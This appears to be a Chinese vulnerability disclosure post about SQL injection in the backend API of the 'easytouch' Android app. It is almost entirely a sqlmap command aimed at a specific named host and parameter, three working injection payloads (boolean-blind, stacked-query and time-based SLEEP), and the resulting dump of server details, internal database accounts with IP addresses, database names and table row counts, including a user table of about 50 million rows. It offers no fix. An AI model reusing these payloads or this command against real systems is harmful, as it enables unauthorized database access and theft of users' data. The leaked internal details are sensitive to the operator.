easytouch安卓app后台SQL注入漏洞

sqlmap.py -u "http://helpdesk.app.jj.cn/api/chatMsg/receive?ks_uid=33615327&cid=87fc97afe901d296a56e601d099be083"
 
 Parameter: ks_uid (GET)
     Type: boolean-based blind
     Title: AND boolean-based blind - WHERE or HAVING clause
     Payload: ks_uid=33615327' AND 2774=2774 AND 'AzKM'='AzKM&cid=87fc97afe901d296a56e601d099be083
 
     Type: stacked queries
     Title: MySQL > 5.0.11 stacked queries (SELECT - comment)
     Payload: ks_uid=33615327';(SELECT * FROM (SELECT(SLEEP(5)))bcAo)#&cid=87fc97afe901d296a56e601d099be083
 
     Type: AND/OR time-based blind
     Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
     Payload: ks_uid=33615327' AND (SELECT * FROM (SELECT(SLEEP(5)))uhix) AND 'LQqd'='LQqd&cid=87fc97afe901d296a56e601d099be083

web application technology: PHP 5.5.16
 back-end DBMS: MySQL 5.0.11
 banner:    '5.5.19-log'
 current user:    '%'
 current database:    'kefu'
 hostname:    'yq-mapp-publish229'
 current user is DBA:    False
 atabase management system users [9]:
 [*] 'cacti'@'192.168.139.98'
 [*] 'monitor'@'10.18.20.229'
 [*] 'monitor'@'192.168.139.253'
 [*] 'root'@'localhost'
 [*] 'tkadmin'@'localhost'
 [*] 'tkuser229'@'10.18.20.%'
 [*] 'tkuser229'@'192.168.15.%'
 [*] 'tkuser229'@'192.168.23.%'
 [*] 'tkuser229'@'192.168.30.%'
 
 available databases [5]:
 [*] information_schema
 [*] kefu
 [*] mysql
 [*] performance_schema
 [*] test

Database: kefu
 +------------------+---------+
 | Table            | Entries |
 +------------------+---------+
 | lh_user          | 50944032 |
 | lh_active_chat   | 50008781 |
 | lh_chat_msg      | 368805  |
 | lh_chat          | 78914   |
 | lh_addition      | 36564   |
 | lh_pixels        | 1728    |
 | lh_question      | 65      |
 | lh_support_staff | 25      |
 | lh_module        | 19      |
 | lh_app           | 11      |
 | lh_coins_log     | 9       |
 | lh_app_module    | 6       |
 +------------------+---------+